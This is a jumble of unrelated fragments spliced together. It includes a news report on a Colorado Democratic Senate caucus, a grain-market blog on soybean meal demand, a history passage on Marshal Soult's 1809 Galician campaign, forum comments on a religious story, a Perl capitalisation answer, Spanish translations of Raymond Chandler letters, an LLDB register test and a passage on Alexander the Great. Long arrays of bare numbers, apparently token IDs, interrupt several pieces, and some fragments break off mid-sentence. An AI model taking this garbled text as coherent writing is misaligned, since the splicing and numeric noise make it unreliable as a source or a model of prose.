Romanoff’s margin of victory wasn’t as wide as they had expected. Craig Hughes, Bennet’s campaign manager, said Romanoff’s lengthy history of working within the state’s Democratic Party account for his strength with the party activists who make up most caucus-goers. Bennet, in a news release, said he was looking forward to the primary. “As someone who isn’t a political insider, tonight’s support is especially meaningful,” Bennet said. Romanoff scored the biggest coup of the night when he decisively won the preference polls taken in Denver precincts, 60 percent to 35 percent. That has helped him for the present to push away from Bennet in what had been a neck-and-neck contest during the night’s earliest returns. Bennet, though, has scored decisive wins of his own — most notably in Larimer County, where he won 58 percent to 38 percent. He also edged Romanoff in the Democratic stronghold of Boulder County, winning 47 percent to 46 percent. Neither candidate appeared to have an advantage in any particular corner of the state, as both have won counties in the mountains, the Eastern plains and southern Colorado. The main purpose of the caucuses is to begin the delegate-selection process that ends at the Democratic and Republican party assemblies in May. Candidates who receive at least 30 percent of delegates’ votes at those assemblies make the ballot for August’s primary elections. Candidates who participate in the process but fall short of 30 percent would have to petition to be onto the primary ballot. Most importantly, the caucuses provided the best chance yet for candidates to gauge support among voters. As such, candidates for weeks have worked insider channels — via direct mailings, automated phone calls and old-fashioned face-to-face contact — to woo the most die-hard members of their party that make up the caucuses’ participants. “Clearly the candidates think this is important,” said Denver pollster Floyd Ciruli. But it was also clear Tuesday evening that the caucuses meant more to some candidates than others. In the Democratic Senate race, for instance, Romanoff spent the last hours before the caucuses conducting interviews and visiting with party members. “I expect we will do fine,” Romanoff said. “…This is the first step in a long journey toward the nomination.” Bennet, by contrast, remained at work in Washington. Bennet campaign manager Craig Hughes said Bennet used the caucus process to bolster his campaign network but placed less emphasis on the outcome. “The caucus has been a great opportunity to do retail politics up close and build enthusiasm around the state,” Hughes said. Such a pattern suits the race’s theme, said Democratic political consultant Steve Welchert. Romanoff has campaigned as a candidate of the grassroots — making the caucuses a chance to prove himself to voters — while Bennet has focused on the larger electorate. “This is (Romanoff’s) chance to show that his challenge is worthy of their support,” Welchert said. Both candidates have tried to position themselves as outside-the-beltway choices. “I tell people all the time, ‘If you like the way Washington works, you should vote for somebody else,'” Romanoff said. Bennet touched on the same themes in his first campaign commercial, unveiled today. “I’ve been in Washington for only a year, but it didn’t take that long to see the whole place is broken,” Bennet says in the ad. More in Politics The Senate passed a sweeping criminal justice bill Tuesday that addresses concerns that the nation's war on drugs had led to the imprisonment of too many Americans for non-violent crimes without adequately preparing them for their return to society. Sen. Michael Bennet earlier this year took up the baton in a long effort to secure federal protection for 61,000 acres of wilderness in Colorado's San Juan Mountains. On Tuesday, the Democrat pleaded his case to Senate leadership as to why his San Juan Mountains Wilderness Act bill should be included in a year-end public lands deal now being considered.MGEX Research Joe Victor is a Business Development Specialist with Minneapolis Grain Exchange, Inc., where he monitors cash grain activity and cash grain opportunities. He provides marketing advice through this blog. Unique Circumstances When USDA released it initial 2008/09 World Agriculture Supply and Demand Estimates in June of 2008, projected United States soybean meal use was estimated at 31.8 million tonnes and most recently within the February 2009 WASDE suggests a level of 27.9 million tonnes. The number one annual US soybean meal user is poultry. Of the total annual soybean meal use, 50% is for US poultry, 25% for hogs, 13% for cattle, 6% dairy, 3% pet food and balance for others. It may come of little surprise with the chicks placement down 7% from June 2008 to present, USDA had little choice but to reduce soybean meal consumption. With livestock and poultry numbers down year on year, it may come as little surprise year on year soybean meal use is down 7.3%. What is unique is present projected usage for 2008/09 is down for a second consecutive year and has only occurred twice before dating back to the mid 1960’s. Most recently was 2002/03 and 2003/04 and a three year stretch from 1970/71 through the 1972/73. For every metric ton of soybean meal use eliminated, it represents 46.39 fewer bushels of soybeans use to manufacture the meal. Allendale is focusing on the weekly eggs set and chicks placed report from USDA as a key barometer as to projected use of soybean meal. As long as the trend remains downward for poultry numbers and a competitive feed fed per pound of gain of 1.8 to 1 vs pork at something closer to 2.75:1, we use the poultry market as potentially the first sector to realize notable positive profit margins. Until the downward trend of fewer livestock and poultry reverses and global economy becomes healthier, Allendale suggest old
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Soult had sent out Loison with one division by the road down the left bank of the Minho on June 1. He himself followed with the rest of the army on the next day. On the third the Marshal reached the little town of Monforte de Lemos, between the Minho and the Sil, which he found deserted by its inhabitants. In obedience to La Romana’s orders they had all gone up into the mountains. If Soult had been honestly desirous of carrying out his compact with Ney, his next step would have been to make a rapid march on Orense. He must have been able to calculate that his colleague would now be in touch with Noroña’s forces somewhere to the south of Corunna, and it was his duty to co-operate by descending the Minho in the enemy’s rear. The mere fact that he remained for the unconscionable space of eight days at Monforte, is a sufficient proof that he never intended to carry out his part of the compact. During this time [June 3-11], while Ney was fighting out to an unsuccessful end his campaign against Noroña, Soult was absolutely quiescent, at a place only thirty miles from his starting-point at Lugo. He was unmolested save by small bands of local guerrillas, who fled to the hills whenever they were faced. His official chronicler Le Noble pleads that there were no fords to be found either over the Minho or over the Sil[496]. But in eight days, unopposed by any serious enemy, the engineers of the 2nd Corps could certainly have built bridges if the Marshal had ordered them to do so. Meanwhile the troops rested, and rejoiced in the abundant supplies of food and wine which they gathered in from the neighbourhood, for Monforte lies in the centre of a fertile upland and its neighbourhood had never before suffered from the ills of war[497]. [496] Le Noble, p. 280. [497] Fantin des Odoards, p. 242. On the eleventh Soult at last moved on. But it was not in the direction of Orense. He had no news of Ney, and professed to be concerned that the 6th Corps had not yet been heard of on the Orense road. Finally he announced that he was compelled to believe that the Duke of Elchingen had not executed his part of the joint campaign[498], and that there was no longer any reason that the 2nd Corps should carry out its share of the plan. Accordingly he marched, not toward Ney, but in the opposite direction, up the valley of the Sil, with his face set towards the east. He pretended that he hoped to catch and disperse the corps of La Romana, to whom he attributed a design of marching on Puebla de Senabria--the same movement that the Marquis had executed once before in the first days of March. But as a matter of fact La Romana was at Orense, and far from having any intention of retreating eastward, if he were attacked by the 2nd Corps, he was looking on Portugal as his line of retreat[499]. [498] ‘Le Maréchal crut, _ou feignit de croire_, que Ney avait changé d’idée,’ says his aide-de-camp St. Chamans, p. 151. [499] La Romana writes to Carrol from Orense, on June 9, to say that he had been intending to march by cross-roads to fall on Ney’s flank, and so aid the division of Noroña. But Soult’s appearance at Monforte with 12,000 men [an under-estimate] compels him to remain behind to observe that marshal [Record Office]. On the thirteenth Soult reached Montefurado, where the Sil is bridged by masses of rocks which have fallen into its bed: the river forces its way beneath them by a tunnel sixty feet broad, which is supposed to have been cut by the Romans. Crossing on this natural bridge, he turned southward to follow the valley of the Bibey, which leads to Puebla de Senabria and the plains of Leon. He met no resistance save from the local insurgents, headed by the Abbot of Casoyo and a partisan called El Salamanquino, who received little or no aid from the regular army. Indeed the only Spanish troops in this remote corner of Galicia were 200 men under an officer called Echevarria, a dépôt left behind at Puebla de Senabria by La Carrera, when he had marched to Vigo in May. This handful of men joined the local guerrillas, and the appearance of their uniforms among the enemy’s ranks served Soult as an excuse for stating that he was contending with the army of La Romana. Any reader of his dispatches would conclude that during the last days of June he was opposed by a considerable body of that force. As a matter of fact he was never anywhere near the Galician army, which lay first at Orense, then at Celanova, finally at Monterey on the Portuguese frontier, always moving to the right, parallel with the Marshal’s advance, so as to avoid being outflanked on its southern wing. It was with the peasants of the valley of the Bibey alone that Soult had to do. Thrusting them to right and left, and cruelly ravaging the country-side on both banks of the river, he reached Viana on June 16. From thence Franceschi sent a flying expedition over the hills to La Gudina, on the road from Monterey to Puebla de Senabria. It brought back news that La Romana had come down to Monterey when the 2nd Corps moved to Viana, but that he was evidently not marching eastward. It had met and routed a party of Spanish cavalry sent out from Monterey[500]; the prisoners taken from them said that the Marquis was returning to Orense now that he had seen the 2nd Corps committing itself to an advance up the valley of the Bibey, and passing away in the direction of the plains of Leon. [500] Carrol was with this party. He had come out from Vigo to join La Romana, was at La Gudina on June 16, and retreated to Monterey when Franceschi attacked that point. The Marquis turned back when he saw Franceschi move off eastward, and retired to his old head quarters at Orense. If Soult had pushed westward, the Spaniards had the choice between the road to Chaves and that back to Orense, and were in no danger. It was while halting at Larouco, during this march, that Soult received the dispatch which Ney had written to him from Santiago on June 10. His reply, as we have already seen, was a peremptory refusal to turn back to the aid of the 6th Corps. He asserted that he had fulfilled his part of the bargain made at Lugo (which he assuredly had not), and refused to undertake any further offensive operations with troops in a state of utter destitution and fatigue. He declared to his staff, and wrote to King Joseph, that he believed that Ney had deliberately mismanaged his expedition against Vigo, and had suffered himself to be checked, in order to have an excuse for detaining the 2nd Corps in Galicia[501]. Why, he asked, had not the Duke of Elchingen sent a turning column against Orense, instead of making a frontal attack against the line of the Oitaben? The plain answer to this query--viz. that Ney with a field-force of only 10,000 men, and having three weak garrisons behind him, could not afford either to divide his army or to go too far from Corunna and Lugo--he naturally did not give. [501] ‘Il (Ney) m’engageait à rester en Galice, et me représentait qu’il pourrait résulter pour lui de fâcheuses conséquences si j’en sortais. Cette proposition m’étonna: il me parut que M. le Maréchal Ney se conduisait à m’obliger à rester en Galice: car certainement rien ne l’empêchait de manœuvrer sur Orense, tandis que moi-même j’agissais contre La Romana.... Je me crus encore plus obligé qu’auparavant de suivre mon premier projet.’ Soult to Joseph, June 25. Accordingly, on June 23, Soult abandoned the valley of the Bibey, and crossed the watershed of the Sierra Segundera in two columns, one descending on
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24323, 447, 577, 54, 428, 253, 717, 254, 406, 3230, 310, 1160, 2130, 407, 6047, 265, 1032, 24226, 2610, 15, 389, 15, 26746, 39530, 15, 12369, 368, 751, 281, 270, 18909, 3698, 25456, 13, 20183, 253, 7066, 323, 3038, 390, 1132, 330, 13183, 7306, 2345, 512, 1388, 13, 253, 21536, 19975, 44052, 19660, 495, 313, 17809 ]	the rest of the family of "the boy" also died in a car-crash... To the author: come on, man. There are other ways to die. I won't comment on the religious aspect of the story (most of which I disagree with)... but I will say this one thing. Allah Ta'ala is the all-knowing, all-understanding, omniscient, omnipresent, ever-forgiving, most merciful entity... basically, something no humans can relate to. Why, then, will he be subject to petty human emotions such as vengeance, jealousy, "power-tripping?" What warrants the comparisons of such an incredible and unfathomable Power to parents who want obedience from kids (often just for the sake of obedience)? Every Sur'ah in the Qur'an starts with Bismillahir Rahmanir Rahim, and I believe that whole-heartedly. Look up the 99 names of Allah, and tell me how many paint him as a, as Zee put it, Jigsaw-esque torturer. None. Just my two cents. Banglaguy May 19, 2011, 03:08 PM Damn, just realized the parents and the rest of the family of "the boy" also died in a car-crash... To the author: come on, man. There are other ways to die. I won't comment on the religious aspect of the story (most of which I disagree with)... but I will say this one thing. Allah Ta'ala is the all-knowing, all-understanding, omniscient, omnipresent, ever-forgiving, most merciful entity... basically, something no humans can relate to. Why, then, will he be subject to petty human emotions such as vengeance, jealousy, "power-tripping?" What warrants the comparisons of such an incredible and unfathomable Power to parents who want obedience from kids (often just for the sake of obedience)? Every Sur'ah in the Qur'an starts with Bismillahir Rahmanir Rahim, and I believe that whole-heartedly. Look up the 99 names of Allah, and tell me how many paint him as a, as Zee put it, Jigsaw-esque torturer. None. Just my two cents. Some of the punishments and rewards in this are not entirely true I think, I mean.... kawser May 19, 2011, 09:02 PM scared the sh!t out of me!!! Sakib May 19, 2011, 09:39 PM I won't comment on the religious aspect of the story (most of which I disagree with)... but I will say this one thing. Allah Ta'ala is the all-knowing, all-understanding, omniscient, omnipresent, ever-forgiving, most merciful entity... basically, something no humans can relate to. Why, then, will he be subject to petty human emotions such as vengeance, jealousy, "power-tripping?" What warrants the comparisons of such an incredible and unfathomable Power to parents who want obedience from kids (often just for the sake of obedience)? Every Sur'ah in the Qur'an starts with Bismillahir Rahmanir Rahim, and I believe that whole-heartedly. Look up the 99 names of Allah, and tell me how many paint him as a, as Zee put it, Jigsaw-esque torturer. None. Just my two cents. if you only focus on attributes such as mercy and forgiveness, then you are missing half the story. just like what Mo in the tale believed. in Islam we believe Allah is JUST. and a just entity can't only be merciful. such an ever forgiving and merciful god is what christian's believe in, not us Muslims. and to illustrate the point, this is what Allah himself says in Quran: Know that Allah is Severe in punishment and that Allah is Oft-Forgiving, Most Merciful (5:98)Q: How to make only the first character in each word uppercase in Perl I have a string containing all uppercase words and I want to make only the first letter of each word uppercase or convert all but the first character to lowercase. I've been messing around with regex for a while and can't get it right. A: my $str = "FOOBAR FOOBAR"; $str =~ s/(\S+)/\u\L$1/g; print $str; output Foobar Foobar Check ucfirst and lc in perldoc. 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68, 12629, 372, 45365, 13, 14822, 20591, 546, 440, 5135, 287, 42078, 3377, 795, 2302, 19273, 390, 371, 1950, 615, 284, 5586, 5767, 378, 1373, 763, 64, 544, 795, 2302, 2207, 348, 2352, 323, 5767, 378, 1373, 763, 64, 209, 1570, 45365, 396, 29477, 8429, 22055, 546, 3057, 80, 345, 2817, 12921, 2324, 270, 902, 9435, 4173, 340, 1144, 324, 415, 301, 1215, 15, 353, 850, 6230, 1753, 5516, 763, 9516, 7206, 1954, 247, 27917, 247, 1345, 274, 5940, 1262, 335, 4904, 546, 826, 25861, 6678, 270, 902, 9435, 3737, 13, 10381, 36470, 13, 4474, 35584, 5309, 372, 402, 490, 462, 3377, 13, 1086, 13535, 1954, 642, 838, 279, 274, 15, 20715, 13535, 3377, 13, 45365, 396, 7222, 1954, 247, 388, 48075, 353, 338, 1258, 249, 15, 39084, 913, 290, 37502, 1045, 33083, 372, 31801, 900, 13, 44810, 247, 43672, 372, 247, 17460, 3615, 826, 258, 631, 328, 10045, 372, 31801, 11158, 26323, 372, 5570, 70, 13, 372, 75, 6575, 247, 17361, 16732, 4474, 826, 36901, 785, 372, 427, 489, 6156, 2816, 21444, 85, 708, 21444, 85, 15, 187, 187, 38, 8425, 80, 6673, 351, 3358, 284, 25366, 27868, 6385, 860, 355, 433, 264, 263, 8685, 826, 49574, 3737, 502, 511, 372, 269, 280, 45198, 1753, 39348, 860, 44544, 9392, 8274, 66, 13, 519, 358, 7766, 372, 1753, 642, 479, 298, 20852, 10442, 247, 994, 409, 13109, 70, 546, 4109, 445, 375, 247, 22289, 375, 15, 329, 24643, 19273, 9092, 375, 4776, 23612, 14822, 826, 5847, 66, 13, 340, 41596, 277, 12706, 860, 2109, 485, 1753, 26352, 246, 38434, 5940, 7036, 48989, 2675, 15, 15887, 2398, 676, 70, 31918, 246, 7300, 7036, 48989, 2675, 8733, 440, 7674, 44794, 15, 15984, 1751, 5940, 7036, 48989, 3367, 13, 1753, 1578, 30390, 4474, 509, 282, 936, 44838, 442, 15, 12665, 41171, 1753 ]	; tienen un sindicato y es posible que en una industria tan grande deban luchar como grupo; es obvio que no he hecho nada por ayudarlos a lograr lo que han logrado, y no es probable que lo haga, salvo indirectamente, ayudándolos a elevar unas pocas películas un poco por encima del nivel corriente. No es siquiera justo decir que están demasiado bien pagados; porque otros escritores como grupo están siniestramente mal pagados; Hollywood es la única industria en el mundo que paga a sus trabajadores los montos de dinero que en otras industrias solo ganan los capitalistas y los grandes ejecutivos. Si bien es algo menos que el ideal, es la única industria que intenta alcanzar el idealismo; si hace un arte malo, ninguna otra hace arte, salvo como subproducto de la ganancia. Si gana dinero con películas malas, podría hacer más dinero con películas buenas, y lo sabe y trata de hacerlas. Simplemente, no hay talento suficiente en el mundo con el cual hacerlas a esa escala. Sus películas cuestan demasiado y en consecuencia deben ser seguras y producir grandes ganancias; pero ¿por qué cuestan demasiado? Porque se paga a la gente que hace el trabajo. Si acapara todo el talento literario que hay en el mundo y después procede a destruirlo por el modo en que lo trata, ¿por qué tiene la capacidad de acaparar ese talento? Porque sabe cómo pagarlo. El hombre que publica mis libros ha ganado más conmigo que yo con él, y no lo ha hecho vendiendo los libros sino apoderándose de una tajada de los derechos de adaptación a la radio y al cine, cosa que no le costó un centavo. ¿Arriesgó algo con los libros? Por supuesto que no, ni un centavo. Estaba asegurado contra las pérdidas por las bibliotecas ambulantes. Ni siquiera sabe cómo vender la clase de libros que yo escribo, o cómo promoverlos o cómo hacer que los reseñen. Se limita a quedarse sentado y esperar que pase algo, y cuando pasa se frota las manos y se corta una buena tajada. Pero Hollywood me paga un gran sueldo solo por tratar de escribir algo que quizá pueda usar. Y cuando escribo algo que da ganancias, entonces rompe mi contrato y redacta uno mejor. No puedo despreciar a una industria que hace eso. #### A Charles Morton _1 de enero de 1945_ Tengo una historia en mente que espero escribir antes de morirme. No tendrá casi nada de dureza en la superficie, pero la actitud de mandarlo todo al infierno, que en mí no es una pose, probablemente aparecerá de todos modos. El nombre de mi tío dudosamente honesto (tío solo por matrimonio) era Ernest Fitt, y era inspector de calderas o algo así, al menos nominalmente. Ya murió. Lo recuerdo muy bien. Solía venir a casa por la noche, en el período de Plattsmouth, ponía el diario sobre el atril del piano e improvisaba mientras leía. Leí en alguna parte que Harold Bauer tocaba sus programas mientras leía el diario, pero siempre lo consideré un pianista aburrido, así que no me sorprende. Mi tío tenía talento, pero no había recibido educación musical. Tenía un hermano que era un personaje asombroso. Había sido empleado o gerente en un banco de Waterford, Irlanda (de donde venía toda la familia de mi madre, aunque ninguno de ellos era católico), y había robado dinero. Limpió la caja un sábado y, con ayuda de los masones, escapó de la policía yéndose al continente europeo. En un hotel de Alemania le robaron el dinero, o la mayor parte de él. Cuando lo conocí, mucho después, era un anciano extremadamente respetable, siempre vestido de punta en blanco y de una increíble parsimonia. Una vez me invitó a cenar. Después de la cena se inclinó sobre la mesa y me dijo en un susurro confidencial: «Cada cual pagará lo suyo». No tenía tampoco una gota de sangre escocesa. Puro irlandés protestante de clase media. Tengo muchísimos parientes irlandeses, algunos pobres, algunos no pobres, y todos protestantes y algunos independentistas y algunos enteramente probritánicos... Aquí la gente no entiende a los irlandeses. Un tercio de la población de Eire es protestante, y es de lejos el tercio más educado y más influyente. Casi todos los grandes rebeldes irlandeses fueron protestantes, y la tonalidad general de la nación en el presente es calvinista más que católica. Yo crecí con un terrible desprecio por los católicos, y todavía hoy tengo problemas con ellos. El ama de llaves esnob de mi tío no admitía criados católicos en la casa, aunque probablemente habrían sido mucho más útiles que la basura que empleaba. ¡Qué mundo! El desenlace divertido en el caso de mi tío fue que terminó con una amante judía en Londres, crió al hijo de ella, tuvo otros dos hijos ilegítimos, y al fin se casaron. ¡Pero nunca la llevó a Irlanda! Podría escribir un libro sobre esa gente, pero soy demasiado irlandés para poder decir la verdad sobre ellos. Bueno, Hollywood también tiene lo suyo. Me tienen bajo contrato, pero no me dan ninguna historia en la que trabajar. Así que pergeñé una idea y fui y se la conté y ellos se frotaron las manos y dijeron: «Perfecto, ¿cuándo empezamos?». Pero cuando mi agente preguntó cuánto se proponían pagar por la idea se rasgaron las vestiduras y se hicieron cruces. Fueron necesarias varias semanas de acerbo combate para hacerles ver la luz. No me importa nada el dinero, solo me gusta pelear. Soy un viejo cansado, pero se necesitaría algo más que un estudio cinematográfico para abusar de mí. #### A Dale Warren _7 de enero de 1945_ Dale Warren era director de publicidad de la editorial Houghton Mifflin. La relación de Chandler con Alfred Knopf se había agriado durante su período en Hollywood, a consecuencia de un incidente de plagio. Un admirador le había hecho notar que el escritor James Hadley Chase estaba copiando pasajes enteros de viejas ficciones de Chandler, sobre todo en un libro llamado _No hay orquídeas para Miss Blandish_ [ _No Orchids for Miss Blandish_ ]. Chandler se había puesto en contacto con sus editores británico y estadounidense. Mientras que Hamish Hamilton obligó a Chase a publicar una disculpa en la prensa británica, Knopf, por consejo de su abogado, decidió no presionar. Fastidiado, Chandler se pasó a Houghton Mifflin. Para acentuar el momento de cambio, estaba a punto de aprovechar la oportunidad de cambiar también de agente, dejando a Sydney Sanders por la firma de Nueva York Brandt & Brandt. Escribo melodramas porque cuando miré alrededor era la única clase de ficción que encontré relativamente honesta, además de que no me llevaba a entrometerme en terrenos ajenos. Ahora hay tipos hablando sobre la prosa, y otros diciéndome que yo tengo una conciencia social. Philip Marlowe tiene tanta conciencia social como un caballo. Tiene una conciencia personal, que es algo por completo diferente. Hay gente que
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470, 14506, 17, 470, 14506, 17, 470, 14506, 17, 470 ]	mm27 "{0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a}" register write ymm28 "{0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b}" register write ymm29 "{0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b 0x3c}" register write ymm30 "{0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b 0x3c 0x3d}" register write ymm31 "{0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e}" process continue # CHECK: process continue # CHECK-DAG: zmm16 = { 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm17 = { 0x11 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm18 = { 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm19 = { 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm20 = { 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm21 = { 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm22 = { 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0
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4459, 253, 4060, 273, 6963, 760, 1919, 253, 9054, 572, 953, 10497, 15, 2091, 3949, 16224, 13, 344, 476, 840, 1091, 634, 18794, 281, 368, 449, 187, 187, 8389, 8208, 369, 281, 7164 ]	or, and he was snowed under by official inquiries, to which he would be obliged to reply when decisions were required. A secretary, an intelligent young Greek called Eumenes, managed the king's correspondence. He had worked for Philip and had the rare virtue of being popular with Olympias. The complicated issues Alexander had to adjudicate by long distance are well exemplified by the crisis at Eresos, a hill town by the sea on the island of Lesbos. It was a place of no importance, but its politics were savage. Alexander never went there, but found himself having to intervene by letter in its affairs more than once. During the 350s, three brothers seized power as joint tyrants (the word signified an authoritarian ruler but did not have pejorative connotations). At some point the brothers were expelled, and early in Alexander's reign two new tyrants emerged who were pro-Persian. After Granicus, Alexander had these men removed from office and (presumably) a democracy installed, but during Memnon's brief but effective maritime campaign they were reinstated. Then the town was liberated again and the ci-devant tyrants were sent to Alexander, then in Egypt, for judgment. He sent them back, accompanied by a letter telling the people of Eresos to set up a court to decide themselves what should be done with them. This was arranged, the men were condemned to death and, it would appear, executed. The family of the tyrant brothers now sent a delegation to ask the king to reinstate them. So Alexander wrote to Eresos about this. According to fragments of a marble inscription, the king ruled that > the people should decide whether or not they should be allowed to return; the people hearing the edict set up a court for them, in accordance with the law and the edict of king Alexander, and when speeches had been made on both sides decided that the law against the tyrants should be valid and that they should be exiled from the city. Plutarch reports an instructive comment of the Roman emperor Augustus, who expressed his surprise that Alexander did not regard it as a greater task to set in order the empire he had won than to win it. The criticism does not appear to be well-founded. Although our sources pay scant attention to matters of governance, inscriptions found at the site of ancient cities, such as those from Eresos, suggest that the king took an active interest in administration. Either he personally, or his staff, kept a close eye on the political activity and legislation of local communities. What is more, the attention the king gave to the logistics of a military campaign and his careful management of his soldiers' welfare are evidence that he was a human-resources manager of the first order. We know too little of that aspect of his leadership skills to say much more. * * * — ALEXANDER OFTEN CORRESPONDED WITH his mother, usually to fend off her many complaints. But she did also interest herself in his creature comforts: we are told that she urged her son to buy a slave of hers who was highly skilled at ritual cooking. Like many of the king's inner circle, Olympias could not stand Hephaestion, rival as he was for her son's undivided love and attention. However, Hephaestion gave as good as he got. When she sent him threatening letters, he responded in high dudgeon: "Stop quarrelling with us and do not be angry or menacing. If you keep on, we won't pay much attention. You know that Alexander means more to us than anything." We can imagine the fury he aroused in Olympias by his use of the royal "we" with reference to himself. He surely meant to tease. He was certain of his place in his lover's heart and could risk goading his impossible "mother-in-law." But the king did not allow him a completely free hand, for as a rule he kept Olympias's letters to himself. Otherwise, they regularly went through the post together. On one occasion, though, Hephaestion's eye fell on a missive from Olympias that had already been opened. Alexander let him read it, but took off his ring and pressed the seal to Hephaestion's lips, "so much as to tell him not to say a word." Alexander liked to keep in touch with his friends and share the ups and downs of everyday life. He wrote to them fondly when they were away. They were all keen hunters, for whom any animal with legs was a fair target. He wrote to a Companion who had been bitten by a bear, complaining that everyone else had heard of the incident except for himself. "Now," he went on, "you must write to tell me how you are, and whether you were let down by any of your fellow-huntsmen, so that I can punish them." The sting in the tail was meant as a joke rather than a serious threat. The king had a heavy-handed sense of humor. Another day he was out hunting a mongoose when Craterus accidentally wounded another general, Perdiccas, in the thigh. Alexander wrote to inform Hephaestion, who happened to be absent on a mission. Hephaestion was not well liked by his colleagues, but he and Perdiccas got on and the news must have worried him. The injured man survived. Slavery was endemic in Mediterranean societies and domestic slaves were numberless. To be useful, they had to be allowed freedom of movement and, understandably, some took the opportunity to run away. The king somehow found time to help retrieve friends' slaves. He ordered a search to be made for one runaway and sent a letter of congratulation on the discovery and arrest of another. In the case of a third, who had sought sanctuary in a temple, the king advised caution. The man should be lured out and not taken by force from a sacred precinct. The son of Zeus always respected the gods. * * * — THE GREAT KING, WHILING AWAY the winter in Ecbatana, had no intention of giving up the struggle. He had with him a substantial force (if much reduced from the usual multitude) of thirty thousand infantry. They included a fiercely loyal regiment of mercenary Greeks under the command of Patron, a man from the home of the Delphic oracle, Phocis. Alexander saw them as traitors, for they had fought against his Hellenic crusade. They would never be allowed home, and if captured they faced a bleak fate. They had no choice but to be steadfast. Bessus, the able and energetic satrap of Bactria, led a formidable troop of 3,300 horse. Four thousand slingers and archers completed the complement. This was not a large enough army to defeat the Macedonians in a third trial of arms, and the Great King sent round to the 